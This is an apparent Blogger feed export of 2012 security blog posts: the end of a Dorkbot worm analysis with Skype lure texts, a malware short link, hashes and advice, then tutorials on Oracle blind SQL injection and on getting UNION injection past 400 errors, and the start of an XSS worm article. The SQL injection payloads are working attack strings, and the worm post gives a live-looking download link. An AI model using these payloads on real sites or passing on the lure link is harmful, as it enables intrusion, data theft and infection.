&lt;i&gt;7.hey ito sa iyong larawan sa profile?&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;8.hey lanh tieu cua ban?&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;9.hey ini foto profil?&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;10.hei zhni de gn zilio zhopin ma?&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;11.ni phaph porfil khxng khun?&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;12.hej er det din nye profil billede?&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;13.hej je to vasa nova slika profila?&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;14.hej je to tvuj nov obr zek profilu?&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;15.hei er dette din nye profil bilde?&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;16.hey la tua immagine del profilo nuovo?&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;17.hej to jest twj nowy obraz profil?&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;18.hej jeli ovo vasa nova profil skila?&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;19.hey bu yeni profil pic?&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;20.hej detta är din nya profilbild?&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;21.tung, cka paske lyp ti nket fotografi?&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;22.moin , kaum zu glauben was für schöne fotos von dir auf deinem profil&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;23.hey is dit je nieuwe profielfoto?&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;24.ez az j profil ksta tu foto de perfil nuevo?&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;25.hey essa sua foto de perfil? rsrsrsrsrsrsrs&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;26.hey c&#39;est votre nouvelle photo de profil?&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;27.hoi schoni fotis hesch du uf dim profil ppe n&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;28.lol is this your new profile pic?&lt;/i&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
It will then add the link and subsequently adds &lt;span style=&quot;text-decoration: underline;&quot;&gt;your&lt;/span&gt; username after the equals &#39;=&#39; sign :&lt;br /&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;&lt;i&gt;&lt;a class=&quot;externalLink&quot; href=&quot;http://dereferer.org/?http://goo.gl/QYV5H?img=&quot; target=&quot;_blank&quot;&gt;http://goo.gl/QYV5H?img=&lt;/a&gt;&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: magenta;&quot;&gt;&lt;b&gt;Let&#39;s take a closer look at the files:&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: #ff9900;&quot;&gt;&lt;b&gt;skype_05102012_image.exe&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
Result: &lt;b&gt;&lt;a class=&quot;externalLink&quot; href=&quot;http://dereferer.org/?https://www.virustotal.com/file/dbbf78cf454bed18ffd128cdefa2a22e0fe813e8f63548de5b495358c115a5cb/analysis/&quot; target=&quot;_blank&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;23&lt;/span&gt;/44&lt;/a&gt; &lt;/b&gt;&lt;br /&gt;
MD5: 98f74b530d4ebf6850c4bc193c558a98&lt;br /&gt;
Anubis &lt;a class=&quot;externalLink&quot; href=&quot;http://dereferer.org/?http://anubis.iseclab.org/?action=result&amp;amp;task_id=1d44cedf55b9e555409ff790dd438bea4&amp;amp;format=html&quot; target=&quot;_blank&quot;&gt;Report&lt;/a&gt;&lt;br /&gt;
Malwr &lt;a class=&quot;externalLink&quot; href=&quot;http://dereferer.org/?http://malwr.com/analysis/98f74b530d4ebf6850c4bc193c558a98/&quot; target=&quot;_blank&quot;&gt;Report&lt;/a&gt;&lt;br /&gt;
ThreatExper &lt;a class=&quot;externalLink&quot; href=&quot;http://dereferer.org/?http://www.threatexpert.com/report.aspx?md5=98f74b530d4ebf6850c4bc193c558a98&quot; target=&quot;_blank&quot;&gt;Report &lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: #ff9900;&quot;&gt;&lt;b&gt;36A9.exe&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
Result:&lt;b&gt; &lt;a class=&quot;externalLink&quot; href=&quot;http://dereferer.org/?https://www.virustotal.com/file/b1fea949cba59121b437a10280b703e966787f210d6946daa62b4227514e3038/analysis/&quot; target=&quot;_blank&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;16&lt;/span&gt;/44&lt;/a&gt;&lt;/b&gt;&lt;br /&gt;
MD5: 0d4b7f4c1731c91dff56afce0ecf37c5&lt;br /&gt;
Anubis &lt;a class=&quot;externalLink&quot; href=&quot;http://dereferer.org/?http://anubis.iseclab.org/?action=result&amp;amp;task_id=177e9c0157d798484b95ecb21001a6aa9&amp;amp;format=html&quot; target=&quot;_blank&quot;&gt;Report &lt;/a&gt;&lt;br /&gt;
Malwr &lt;a class=&quot;externalLink&quot; href=&quot;http://dereferer.org/?http://malwr.com/analysis/0d4b7f4c1731c91dff56afce0ecf37c5/&quot; target=&quot;_blank&quot;&gt;Report&lt;/a&gt;&lt;br /&gt;
ThreatExpert &lt;a class=&quot;externalLink&quot; href=&quot;http://dereferer.org/?http://www.threatexpert.com/report.aspx?md5=0d4b7f4c1731c91dff56afce0ecf37c5&quot; target=&quot;_blank&quot;&gt;Report&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The malware is commonly identified as Worm.Dorkbot and Worm.Agent or Generic Trojan.&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: lime;&quot;&gt;Microsoft provides a description:&lt;/span&gt;&lt;br /&gt;
Win32/Dorkbot is a family of IRC-based worms that spreads via removable 
drives, instant messaging programs, and social networks. Variants of 
Win32/Dorkbot may capture user names and passwords by monitoring network
 communication, and may block websites that are related to security 
updates. It may also launch a limited &lt;a class=&quot;externalLink&quot; href=&quot;http://dereferer.org/?http://www.microsoft.com/security/portal/Threat/Encyclopedia/Glossary.aspx#dos&quot; target=&quot;_blank&quot;&gt;denial of service&lt;/a&gt; (DoS) attack.&lt;br /&gt;
&lt;br /&gt;
On my testmachines there was no additional malware downloaded, even 
after replicating a few times. Several variants of malware can however 
always be downloaded, whether it&#39;s ransomware, rogueware....&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: #00ccff;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;Conclusion&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Worms spreading through Facebook, Twitter as well as IRC, MSN and Skype 
is nothing new. Still, it appears to be very successful as human 
curiosity wins in cases of doubt:&lt;br /&gt;
&lt;span style=&quot;color: orange;&quot;&gt;&quot;&lt;i&gt;Do I really have (embarassing) pictures of myself on this website? Better take a look!&lt;/i&gt;&quot;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: red;&quot;&gt;&lt;b&gt;No, no, no!&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Never&lt;/b&gt; click on unknown links, especially when a URL shortener service like &lt;i&gt;goo.gl&lt;/i&gt; is used. (others are for example &lt;i&gt;t.co&lt;/i&gt;, &lt;i&gt;bit.ly&lt;/i&gt;, &lt;i&gt;tinyurl&lt;/i&gt;, etc.)&lt;br /&gt;
&lt;b&gt;Don&#39;t&lt;/b&gt; be fooled by known icons or &quot;legit&quot; file descriptions, this can easily be altered.&lt;br /&gt;
&lt;br /&gt;
Even if you clicked the link and you&#39;re not suspicious, you should be 
when a file is downloaded and no pictures are shown, but just an EXE 
file.&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: lime;&quot;&gt;For checking what is really behind a short URL, you can use:&lt;/span&gt;&lt;br /&gt;
&lt;a class=&quot;externalLink&quot; href=&quot;http://dereferer.org/?http://getlinkinfo.com/&quot; target=&quot;_blank&quot;&gt;http://getlinkinfo.com/&lt;/a&gt;&lt;br /&gt;
&lt;a class=&quot;externalLink&quot; href=&quot;http://dereferer.org/?http://longurl.org/&quot; target=&quot;_blank&quot;&gt;http://longurl.org/&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: lime;&quot;&gt;For checking whether a file is malicious or not:&lt;/span&gt;&lt;br /&gt;
&lt;a class=&quot;externalLink&quot; href=&quot;http://dereferer.org/?https://www.virustotal.com/&quot; target=&quot;_blank&quot;&gt;https://www.virustotal.com/&lt;/a&gt;&lt;br /&gt;
&lt;a class=&quot;externalLink&quot; href=&quot;http://dereferer.org/?http://virusscan.jotti.org/&quot; target=&quot;_blank&quot;&gt;http://virusscan.jotti.org/&lt;/a&gt;
    &lt;/blockquote&gt;
&lt;/article&gt;
   
   
  &lt;/div&gt;
</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1037799212658950396/posts/default/6585143129846335451'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1037799212658950396/posts/default/6585143129846335451'/><link rel='alternate' type='text/html' href='http://infosec-regeneration.blogspot.com/2012/11/skype-and-messenger-used-to-spread-new.html' title='Skype and Messenger Used to Spread a new type of Worm'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/05798090312725633022</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhv4NGfBWvPGE2-0aKMiAMUv1XdYF77LIOX3FWWKEL7-NnxXvuRkaqR7VUi2Piq-ZVaOovTeoTKL4dvufdHYpvcwDnZcCJ6uBlXzAfo4-JPIED40EPni7Wp8OkrofnMsho_PEqGwiIKUHdU/s72-c/skype.jpg" height="72" width="72"/></entry><entry><id>tag:blogger.com,1999:blog-1037799212658950396.post-6675110723327350760</id><published>2012-11-18T01:28:00.006+05:30</published><updated>2012-11-18T01:28:56.094+05:30</updated><title type='text'>Advance Oracle Blind SQL Injection</title><content type='html'>&lt;div align=&quot;center&quot;&gt;
&lt;span style=&quot;font-size: large;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&lt;span&gt;&lt;b&gt;Advance Oracle Blind SQL Injection &lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div align=&quot;center&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div align=&quot;center&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
Had a job to test an application few days back. Its an application using java applet.&lt;br /&gt;
Hum..when I heard its an application via java applet what came in my mind&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: #ff9900;&quot;&gt;&lt;b&gt;1 - Internet Explorer will be a better browser &lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
*which is true in this case..since to use other browser I need to install Java jiniator(something like that)&lt;br /&gt;
*no extra addon such as hackbar/tamper data available in IE&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: #ff9900;&quot;&gt;&lt;b&gt;2 - Try to hook using proxy tools burp/paros/webscarap/zap etc.&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
*Success,but no use. Since the data is encrypted well. Failed to crack/reverse them &lt;img alt=&quot;:(&quot; class=&quot;mceSmilieSprite mceSmilie3&quot; src=&quot;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABAQMAAAAl21bKAAAAA1BMVEXh5PJm+yKVAAAAAXRSTlMAQObYZgAAAApJREFUCNdjYAAAAAIAAeIhvDMAAAAASUVORK5CYII=&quot; title=&quot;Frown    :(&quot; /&gt;&lt;br /&gt;
*Tried to use JavaSnoop. Failed to setup it.hahaha&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: #ff9900;&quot;&gt;&lt;b&gt;3 - Manual testing!!!&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
* The best choice.&lt;br /&gt;
&lt;br /&gt;
The developer of this application really confident with their 
applications. They already guaranteed that there&#39;s no bug in their 
application. So that&#39;s why the company that hire them asked me to test 
the application..&lt;br /&gt;
&lt;br /&gt;
So,after tested it for the 1st day..it is true the application is hard 
to hack..not because the application,but because the java applet.&lt;br /&gt;
How about the application then? LOTS of vulnerability.&lt;br /&gt;
I found multiple forms that vulnerable to Oracle Blind SQL Injection.&lt;br /&gt;
&lt;br /&gt;
Then came another problem.&lt;br /&gt;
Most of the forms only accept a little amount of characters. some of 
them accept 30chars..some of them 40chars..the longest acceptable chars 
is 90chars where I found in one of the vulnerable form.&lt;br /&gt;
&lt;br /&gt;
It is a BLIND SQLI with limitation of characters.&lt;br /&gt;
&lt;br /&gt;
At first I already informed this to the company,but then one of the developer said that..&lt;br /&gt;
&lt;span style=&quot;color: red;&quot;&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;&lt;i&gt;&quot;So what?..You cannot extract anything just by that 1 or 1=1 1=2 thing right?haha&quot;&lt;/i&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Really pissed me off. So I need to extract something from this Blind Sqli to show the impact to this developer guy.&lt;br /&gt;
&lt;br /&gt;
A little of reading and googling found that, for Blind Sqli in Oracle,we need a lots of chars to successfully extract the data.&lt;br /&gt;
The only hope I have now is the only form that accept 90chars.&lt;br /&gt;
&lt;br /&gt;
So the how I&#39;m confident it is a blind sqli?&lt;br /&gt;
Simple.&lt;br /&gt;
When I&#39;m trying to search for &quot; john &quot;, the result of john&#39;s profile will appear.&lt;br /&gt;
but if I try to search for &quot; john&#39; &quot;, a different profile or a blank profile appear.&lt;br /&gt;
&lt;br /&gt;
So I tried&lt;br /&gt;
&lt;span style=&quot;color: purple;&quot;&gt;&lt;i&gt;john&#39; or 1=&#39;1 TRUE&lt;br /&gt;
john&#39; or 1=&#39;2 FALSE&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
yerp! it is a blind sqli.&lt;br /&gt;
&lt;br /&gt;
Had a read in pentestmonkey cheat sheet and found out that we can use like this as well. called &lt;b&gt;String Concatenation&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: purple;&quot;&gt;&lt;i&gt;jo&#39;||&#39;hn = TRUE&lt;br /&gt;
jo&#39;||hn = FALSE&lt;br /&gt;
jo&#39;||h||&#39;n = TRUE&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
So here&#39;s the idea.&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: purple;&quot;&gt;&lt;i&gt;jo&#39;|| &lt;b&gt;INJECTION HERE if TRUE &#39;h&#39; else &#39;x&#39; &lt;/b&gt;|| &#39;n&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
- let say we query to find a first letter of current_user=&#39;U&#39; ,so if the
 current_user&#39;s first letter start with U,it will be &#39;h&#39; which completed
 the string equals jo&#39;||h||&#39;n&lt;br /&gt;
- if the 1st letter not start with U, it will be else &#39;x&#39;..so the string
 become jo&#39;||x||&#39;n which is not a valid profile available in the 
application.&lt;br /&gt;
 &lt;br /&gt;
added up a little example on this tutorial &lt;img alt=&quot;[IMG]&quot; class=&quot;bbCodeImage LbImage&quot; src=&quot;http://devilzc0de.org/forum/images/smilies/ketawa.gif&quot; /&gt;&lt;br /&gt;
In order to ensure that my instinct is correct,I proceed with another testing.&lt;br /&gt;
&lt;span style=&quot;color: purple;&quot;&gt;search=Zack&#39; and 1=&#39;1&lt;/span&gt;&lt;br /&gt;
TRUE!&lt;br /&gt;



&lt;div class=&quot;bbCodeBlock bbCodeQuote&quot;&gt;
 &lt;aside&gt;
  
  &lt;blockquote&gt;
&lt;span style=&quot;color: purple;&quot;&gt;search=Zack&#39; and 1=&#39;2&lt;/span&gt;&lt;/blockquote&gt;
&lt;/aside&gt;
&lt;/div&gt;
FALSE!&lt;br /&gt;
&lt;br /&gt;
in oracle, this query can be use as well for injection&lt;br /&gt;
let say we search for:&lt;br /&gt;
 &lt;br /&gt;



&lt;div class=&quot;bbCodeBlock bbCodeQuote&quot;&gt;
 &lt;aside&gt;
  
  &lt;blockquote&gt;
&lt;span style=&quot;color: purple;&quot;&gt;Za&#39;||ck&lt;/span&gt;&lt;/blockquote&gt;
&lt;/aside&gt;
&lt;/div&gt;
this will be a false statement. since it&#39;ll be something like Za&#39;ck.&lt;br /&gt;
if we search for&lt;br /&gt;



&lt;div class=&quot;bbCodeBlock bbCodeQuote&quot;&gt;
 &lt;aside&gt;
  
  &lt;blockquote&gt;
&lt;span style=&quot;color: purple;&quot;&gt;Za&#39;||&#39;ck&lt;/span&gt;&lt;/blockquote&gt;
&lt;/aside&gt;
&lt;/div&gt;
it&#39;ll be a TRUE query. and a valid info about Zack will appear.&lt;br /&gt;
same as below query,it&#39;ll resulting a TRUE statement.&lt;br /&gt;



&lt;div class=&quot;bbCodeBlock bbCodeQuote&quot;&gt;
 &lt;aside&gt;
  
  &lt;blockquote&gt;
&lt;span style=&quot;color: purple;&quot;&gt;Za&#39;||c||&#39;k&lt;/span&gt;&lt;/blockquote&gt;
&lt;/aside&gt;
&lt;/div&gt;
so what are we going to do is,our injection will be like this&lt;br /&gt;



&lt;div class=&quot;bbCodeBlock bbCodeQuote&quot;&gt;
 &lt;aside&gt;
  
  &lt;blockquote&gt;
&lt;span style=&quot;color: purple;&quot;&gt;Za&#39;||INJECTION HERE if TRUE &#39;c&#39; else &#39;x&#39;||&#39;k&lt;/span&gt;&lt;/blockquote&gt;
&lt;/aside&gt;
&lt;/div&gt;
where in above injection,if the injection returns a valid value,(TRUE),it&#39;ll be&lt;br /&gt;



&lt;div class=&quot;bbCodeBlock bbCodeQuote&quot;&gt;
 &lt;aside&gt;
  
  &lt;blockquote&gt;
&lt;span style=&quot;color: purple;&quot;&gt;Za&#39;||&#39;c&#39;||&#39;k&lt;/span&gt;&lt;/blockquote&gt;
&lt;/aside&gt;
&lt;/div&gt;
where else,if FALSE,it&#39;ll be&lt;br /&gt;



&lt;div class=&quot;bbCodeBlock bbCodeQuote&quot;&gt;
 &lt;aside&gt;
  
  &lt;blockquote&gt;
&lt;span style=&quot;color: purple;&quot;&gt;Za&#39;||&#39;x&#39;||&#39;k&lt;/span&gt;&lt;/blockquote&gt;
&lt;/aside&gt;
&lt;/div&gt;
which is not a valid user available (Zaxk).&lt;br /&gt;
&lt;br /&gt;
a simple example to query like below&lt;br /&gt;



&lt;div class=&quot;bbCodeBlock bbCodeQuote&quot;&gt;
 &lt;aside&gt;
  
  &lt;blockquote&gt;
&lt;span style=&quot;color: purple;&quot;&gt;search=Za&#39;||(select case when substr(banner, 1, 1) = &#39;A&#39; 
then &#39;c&#39; else &#39;X&#39; end from (select banner from v$version where banner 
like &#39;%Oracle%&#39;))||&#39;k&lt;/span&gt;&lt;/blockquote&gt;
&lt;/aside&gt;
&lt;/div&gt;
What query above is about? It will try to query the database banner from v$version (which has string Oracle in it).&lt;br /&gt;



&lt;div class=&quot;bbCodeBlock bbCodeQuote&quot;&gt;
 &lt;aside&gt;
  
  &lt;blockquote&gt;
&lt;span style=&quot;color: purple;&quot;&gt;select banner from v$version where banner like &#39;%Oracle%&#39;&lt;/span&gt;&lt;/blockquote&gt;
&lt;/aside&gt;
&lt;/div&gt;
after that, it&#39;ll try to test the first character (specified by the substr() call) and compared to the letter &#39;A&#39;.&lt;br /&gt;



&lt;div class=&quot;bbCodeBlock bbCodeQuote&quot;&gt;
 &lt;aside&gt;
  
  &lt;blockquote&gt;
&lt;span style=&quot;color: purple;&quot;&gt;(select case when substr(banner, 1, 1) = &#39;A&#39;&lt;/span&gt;&lt;/blockquote&gt;
&lt;/aside&gt;
&lt;/div&gt;
If the first letter start with &#39;A&#39;, the query will be a valid statement and will returns &#39;c&#39;, if NO, it&#39;ll returns &#39;X&#39;.&lt;br /&gt;



&lt;div class=&quot;bbCodeBlock bbCodeQuote&quot;&gt;
 &lt;aside&gt;
  
  &lt;blockquote&gt;
&lt;span style=&quot;color: purple;&quot;&gt;then &#39;c&#39; else &#39;X&#39; end&lt;/span&gt;&lt;/blockquote&gt;
&lt;/aside&gt;
&lt;/div&gt;
hope you get the idea:)...</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1037799212658950396/posts/default/6675110723327350760'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1037799212658950396/posts/default/6675110723327350760'/><link rel='alternate' type='text/html' href='http://infosec-regeneration.blogspot.com/2012/11/advance-oracle-blind-sql-injection.html' title='Advance Oracle Blind SQL Injection'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/05798090312725633022</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-1037799212658950396.post-3900803880412845648</id><published>2012-11-16T23:34:00.000+05:30</published><updated>2012-11-16T23:34:08.130+05:30</updated><title type='text'>Bypassing 404 Bad Request Error</title><content type='html'>&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;i&gt;&lt;span style=&quot;color: #00ccff;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&lt;b&gt;Bypassing 404 Bad Request Error&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;i&gt;&lt;span style=&quot;color: #00ccff;&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: red;&quot;&gt;# 400 bad request #&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;If we have error 400 bad request like this&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: #0b5394;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #674ea7;&quot;&gt;&lt;span style=&quot;color: #0b5394;&quot;&gt; site.com/somthing.php?id=1&#39; union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28, ?29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49 +--+/ &lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;it&#39;s mean : Your browser sent a request that this server could not understand .&lt;br /&gt;and to bypassing this erro&lt;span style=&quot;color: #00ccff;&quot;&gt;r&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;first we need to know from where this error begin do like this,&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #0b5394;&quot;&gt; site.com/somthing.php?id=1&#39; union &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;nothing happening no 400 bad request error&lt;br /&gt;&lt;span style=&quot;color: #0b5394;&quot;&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; site.com/somthing.php?id=1&#39; union select &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;nothing happening no 400 bad request error&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style=&quot;color: #0b5394;&quot;&gt;site.com/somthing.php?id=1&#39; union select 1 +--+/ &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;nothing happening no 400 bad request error&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #0b5394;&quot;&gt; site.com/somthing.php?id=1&#39; union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 +--+/ &lt;/span&gt;&lt;br /&gt;nothing happening no 400 bad request error&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #0b5394;&quot;&gt;&amp;nbsp; site.com/somthing.php?id=1&#39; union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 +--+/ &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Oh 400 bad request error&lt;br /&gt;now we know this error begining from column 19 that&#39;s appear no error and to bypassing this error we will add --+%0A after nomber of column like this&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #0b5394;&quot;&gt; 19--+%0A,20--+%0A,21--+%0A etc .... &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;DEMO&lt;/b&gt;&lt;br /&gt;&lt;span style=&quot;background-color: magenta;&quot;&gt;http://site.com/somthing.php?id=1&#39;and false UNION select&lt;span style=&quot;color: #00ccff;&quot;&gt; &lt;/span&gt;version(),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19--+%0A,20--+%0A,21--+%0A,22--+%0A,23--&lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: magenta;&quot;&gt;&lt;i&gt;&lt;span style=&quot;color: #00ccff;&quot;&gt;+%0A,24--+%0A,25--+%0A,26--+%0A,27--+%0A,28--+%0A,29--+%0A,30--+%0A,31--+%0A,32--&lt;/span&gt;&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: magenta;&quot;&gt;&lt;i&gt;&lt;span style=&quot;color: #00ccff;&quot;&gt;+%0A,33--+%0A,34--+%0A,35--+%0A,36--+%0A,37--+%0A,38--+%0A,39--+%0A,40--+%0A,41--&lt;/span&gt;&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;i&gt;&lt;span style=&quot;color: #00ccff;&quot;&gt;&lt;span style=&quot;background-color: magenta;&quot;&gt;+%0A,42--+%0A,43--+%0A,44--+%0A,45--+%0A,46--+%0A,47--+%0A,48--+%0A,49--+ &lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/i&gt;&lt;b&gt;&lt;span style=&quot;color: #00ccff;&quot;&gt;&lt;i&gt;&lt;span style=&quot;color: #00ccff;&quot;&gt;Thank You !!&lt;/span&gt;&lt;/i&gt;&lt;/span&gt;&lt;/b&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1037799212658950396/posts/default/3900803880412845648'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1037799212658950396/posts/default/3900803880412845648'/><link rel='alternate' type='text/html' href='http://infosec-regeneration.blogspot.com/2012/11/bypassing-404-bad-request-error.html' title='Bypassing 404 Bad Request Error'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/05798090312725633022</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-1037799212658950396.post-1394428575581227339</id><published>2012-11-16T23:28:00.002+05:30</published><updated>2012-11-16T23:28:26.876+05:30</updated><title type='text'>Constructing an XSS Worm</title><content type='html'>&lt;div class=&quot;messageContent&quot;&gt;
		
			&lt;article&gt;
				&lt;blockquote class=&quot;messageText ugc baseHtml&quot;&gt;
					
					&lt;div align=&quot;center&quot;&gt;
&lt;span style=&quot;font-size: large;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&lt;span&gt;&lt;b&gt;Constructing an XSS Worm&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;
&lt;div align=&quot;center&quot;&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div align=&quot;left&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div align=&quot;left&quot;&gt;
&lt;b&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span style=&quot;color: #38761d;&quot;&gt;&lt;span&gt;Website security A step-by-step explanation of how an attacker creates an XSS worm&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
If you find the formatting of this article to be off or hard to read on 
HBH (as I do, sensitive eyes. HBH&#39;s repository is great, but you can 
only do so much to make a text file pretty without allowing it the be a 
text file in full), please&lt;/div&gt;
&lt;div align=&quot;left&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;bbCodeBlock bbCodeQuote&quot;&gt;
	&lt;aside&gt;
		
		&lt;blockquote&gt;
&lt;span style=&quot;color: magenta;&quot;&gt;wget picobsd.amdwebhost.com/~cfc/xss.txt&lt;/span&gt;&lt;/blockquote&gt;
&lt;/aside&gt;
&lt;/div&gt;
&lt;div align=&quot;left&quot;&gt;
&lt;br /&gt;
&lt;br /&gt;
Before anyone flames me, the code in this article is purposefully 
flawed. It will not work. A programmer should be able to get it to work 
in a matter of minutes. I removed some code and modified other stuff so 
that skiddies don&#39;t pick it up. This article is meant for understanding,
 not as a contribution of code.&lt;br /&gt;
&lt;br /&gt;
A while back, I was poking around a web 2.0 site. I noticed something 
rather interesting: every single prefernce for users had it&#39;s own file. 
This was probably done because the site, which was AJAX based, modified 
user information via AJAX, and therefore often times there was only one 
value being edited at a time. I started poking around these, and I found
 out early on that all data sanitation was done with Javascript. I&#39;m 
assuming this is because the developer was more comfortable with 
